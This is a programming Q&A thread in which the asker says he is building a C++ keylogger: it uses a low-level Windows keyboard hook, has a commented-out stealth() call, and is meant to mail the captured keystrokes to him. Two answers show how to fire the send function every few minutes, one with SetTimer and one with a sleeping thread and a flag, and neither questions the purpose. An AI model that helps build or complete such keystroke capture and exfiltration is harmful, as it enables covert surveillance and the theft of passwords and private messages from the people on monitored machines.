win32 main loop interval issue C++ - c++

Question

I'm making a keylogger that logs key strokes (duh..). Now when I've implemented the basic keylogger in C++, I wanted to add a new feature to the application: I want it to mail the logs to my email. So far so good, I found this open source email client that fits perfect for my needs. The only problem I have is to make the application send the logs in intervals of x minutes.
int main(int argc, char *argv[])
{
//stealth();
hHook = SetWindowsHookEx(WH_KEYBOARD_LL, MyLowLevelKeyBoardProc, NULL, 0);
if(hHook == NULL)
{
cout << "Hook failed" << endl;
}
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
return 0;
}
Somehow I need to implement somekind of counter which will at some point use a function send();.
Anyone got any idea how to modify the MSG loop to execute the funktion send(); each and every 5 minutes?

Answer 1

Take a look at the SetTimer function, I think it does exactly what you need.
Before event loop you should call this function with desired interval and you have to pass to it a callback function. Alternatively you can use another function CreateTimerQueueTimer
VOID CALLBACK TimerProc(HWND hWnd, UINT nMsg, UINT nIDEvent, DWORD dwTime) {
}
UINT timer = SetTimer(NULL, 0, 500, &TimerProc);
MSG message;
while(GetMessage(&message, NULL, 0, 0))
{
TranslateMessage(&message);
DispatchMessage(&message);
}
KillTimer(NULL, timerId);

Answer 2

Make a new thread to sleep x milis and then send in a while(!interrupted) loop.
As you may know, accessing the same data for read and write from 2 separate threads simultaneously will cause an error.
http://msdn.microsoft.com/en-us/library/kdzttdcb(v=vs.80).aspx
To avoid that you can use critical section
http://msdn.microsoft.com/en-us/library/windows/desktop/ms686908(v=vs.85).aspx
Or just make your thread to sleep and turn a boolean value to true meaning 'yes we waited enough' and your main function always send data when that boolean is true then set it back to false.
edit:
I believe this is the simplier way to archieve this
while(!interrupted) { // Your thread will do this.
sleep(60000);
maysend = true;
}
[...]
if(maysend) { // Your main function will contain this
send();
maysend = false;
}